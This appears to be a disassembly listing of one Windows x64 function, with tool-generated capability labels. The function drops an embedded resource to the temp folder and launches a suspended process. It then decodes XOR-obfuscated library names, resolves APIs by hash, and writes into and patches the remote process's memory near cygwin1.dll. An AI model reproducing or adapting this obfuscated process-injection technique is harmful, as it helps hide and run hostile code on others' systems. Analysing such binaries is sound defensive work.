Function at 0x14000261c
Capabilities:
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
sub rsp, 0x4b0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400c7690]
xor rax, rsp
mov qword [rbp + 0x430], rax
mov rdi, rdx
mov qword [rbp + 0x98], rdx
lea rdx, [rbp + 0x220]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor r15d, r15d
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], 7
mov word [rbp + 0xe0], r15w
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0xe0]
call fcn.1400030c0
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea r8, [0x1400bc4c8]
lea edx, [r15 + 0x6d]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x1400026f8
lea rcx, str._agent__cant_find_resource
call fcn.140001db4
nop
lea rcx, [rbp + 0xe0]
call fcn.14000305c
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x140002e17
mov r14d, 0x1000
jmp 0x140002ddf
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
movabs rcx, 0x7ffffffffffffffe
mov rdx, qword [rbp + 0xf0]
sub rcx, rdx
cmp rcx, 0xb
jb 0x140002ef9
lea r9, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 8
cmovae r9, qword [rbp + 0xe0]
mov qword [rsp + 0x30], recvfrom
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x100]
call fcn.1400033c8
nop
lea rcx, [rbp + 0x100]
cmp qword [rbp + 0x118], 8
cmovae rcx, qword [rbp + 0x100]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov qword [rsp + 0x20], r15
xor r9d, r9d
mov r8d, r14d
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x14f1edfb8b207f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x751dee06aa65b907
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x54dab1312d89f03c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xb74ffd19885e0a0f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0xd56bf5c95dc1992c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xaeb6c29622ffadaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs r14, 0x1181e83b88807a9
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs r12, 0x7572ee62aa0bb96e
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
movabs rbx, 0x54b4b16d2dfaf04b
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1f0], rax
movabs rsi, 0xb73ffd7c882a0a60
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1f8], rax
movabs rax, 0xd50ef5e75da5994d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0xaeb6c296229aadd2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e0]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqa xmm0, xmmword [rbp + 0x60]
vpxor xmm0, xmm0, xmmword [rbp + 0x200]
vmovdqa xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0xc0], r15
vmovdqa xmm0, xmmword [0x1400bc970]
vmovdqu xmmword [rbp + 0xd0], xmm0
mov word [rbp + 0xc0], r15w
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xc0]
vzeroupper
call fcn.1400030c0
nop
lea rax, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 8
cmovae rax, qword [rbp + 0xc0]
mov ecx, 0x43
mov word [rax], cx
xor edx, edx
lea r8d, [rcx + 0x21]
lea rcx, [rbp + 0x134]
call fcn.14006b5b0
mov dword [rbp + 0x130], WSASetLastError
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 8
cmovae rdx, qword [rbp + 0xc0]
lea rax, [rbp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x130]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x140002aca
movabs rax, 0x5e456aedddef66f2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa0], rax
movabs rax, 0x1a3cb10cdd6ac93d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
movabs rax, 0x35d2ee094c8a953f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb0], rax
movabs rax, 0xb73ffd7cec4f6609
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1b8], rax
vmovdqu ymm0, ymmword [rbp + 0xa0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqa ymmword [rbp + 0xa0], ymm1
lea rcx, [rbp + 0xa0]
vzeroupper
call fcn.140001db4
nop
lea rcx, [rbp + 0xc0]
call fcn.14000305c
nop
lea rcx, [rbp + 0x100]
call fcn.14000305c
jmp 0x1400026d4
movabs rsi, 0x605a72e6d6fa62e2
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
movabs rbx, 0x7572820ece25dc1d
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movdqa xmm0, xmmword [rbp + 0x10]
pxor xmm0, xmmword [rbp + 0x1c0]
movdqa xmmword [rbp + 0x10], xmm0
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
movabs rdx, 0x565a90aaa0deaaca
call fcn.1400023ec
mov qword [0x1400ca588], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp + 0x1d0]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
movabs rdx, 0x6829cb75cba67403
call fcn.1400023ec
mov qword [0x1400ca598], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1a8], rax
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x30], xmm0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
movabs rdx, 0xb234aca73658377c
call fcn.1400023ec
mov qword [0x1400ca580], rax
mov ecx, dword [rbp + 0x90]
call fcn.140005424
mov rax, qword [0x1400ca580]
mov dword [rsp + 0x20], 4
mov r14d, 0x1000
mov r9d, r14d
mov r8d, r14d
xor edx, edx
mov rcx, qword [rbp + 0x80]
call rax
mov rbx, rax
mov r10, qword [0x1400ca588]
mov rcx, qword [rbp + 0x110]
lea r9, [rcx*2 + 2]
lea r8, [rbp + 0x100]
cmp qword [rbp + 0x118], 8
cmovae r8, qword [rbp + 0x100]
lea rax, [rbp + 0x120]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, qword [rbp + 0x80]
call r10
mov rdx, rbx
lea rcx, str._agent__cygwin1.dll_at__p
call fcn.140001db4
mov qword [rbp + 0x10], r15
lea rax, [rbp + 0x10]
mov qword [rsp + 0x28], rax
mov r8, rbx
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rcx, qword [rbp + 0x80]
call fcn.14000254c
mov qword [rbp + 0x10], 1
lea rcx, [rbp + 0x10]
call fcn.140003140
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
mov edx, dword [rbp + 0x90]
lea rcx, [rbp + 0xa0]
call fcn.140005a10
nop
mov rsi, qword [rbp + 0xa0]
cmp rsi, qword [rbp + 0xa8]
je 0x140002d96
mov rax, qword [rsi + 0x10]
mov r15, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x140002d27
mov r15, qword [rsi]
cmp rax, 0xb
jb 0x140002d86
lea r12, [rax + r15]
lea r8, [r12 - 0xa]
sub r8, r15
mov rcx, r15
jmp 0x140002d65
mov r8d, ntohs
lea rdx, [0x1400bc4b8]
mov rcx, rbx
call fcn.14006bb80
test eax, eax
je 0x140002d79
inc rbx
lea r8, [r12 - 0xa]
sub r8, rbx
mov rcx, rbx
mov edx, 0x63
call fcn.14006b900
test rax, rax
mov rbx, rax
jne 0x140002d3e
jmp 0x140002d86
sub rbx, r15
cmp rbx, 0xffffffffffffffff
jne 0x140002e42
add rsi, 0x28
cmp rsi, qword [rbp + 0xa8]
jne 0x140002d16
xor r15d, r15d
lea rcx, str._agent__cant_get_remote_cygwin1_base
call fcn.140001db4
nop
lea rcx, [rbp + 0xa0]
call fcn.140002f08
nop
lea rcx, [rbp + 0xc0]
call fcn.14000305c
nop
lea rcx, [rbp + 0x100]
call fcn.14000305c
nop
lea rcx, [rbp + 0xe0]
call fcn.14000305c
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x140002e17
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
cmp rdx, r14
jb 0x140002e07
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002eff
mov rcx, r8
call fcn.1400676a4
mov qword [rdi], r15
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r15
mov rcx, qword [rbp + 0x430]
xor rcx, rsp
call fcn.1400673f0
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
cmp rsi, qword [rbp + 0xa8]
je 0x140002d93
mov rdx, qword [rsi + 0x20]
add rdx, 0x6c4000
mov r9, qword [rdi + 8]
sub r9, qword [rdi]
lea rax, [rbp + 0x120]
mov qword [rsp + 0x20], rax
mov r8, qword [rdi]
mov rcx, qword [rbp + 0x80]
call qword [0x1400ca588]
nop
lea rcx, [rbp + 0xa0]
call fcn.140002f08
nop
lea rcx, [rbp + 0xc0]
call fcn.14000305c
nop
lea rcx, [rbp + 0x100]
call fcn.14000305c
nop
lea rcx, [rbp + 0xe0]
call fcn.14000305c
nop
mov rcx, qword [rdi]
xor ebx, ebx
test rcx, rcx
je 0x140002e17
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
cmp rdx, r14
jb 0x140002ee4
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140002eff
mov rcx, r8
call fcn.1400676a4
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], rbx
jmp 0x140002e17
call fcn.140001da0
nop
call fcn.140071f2c
int3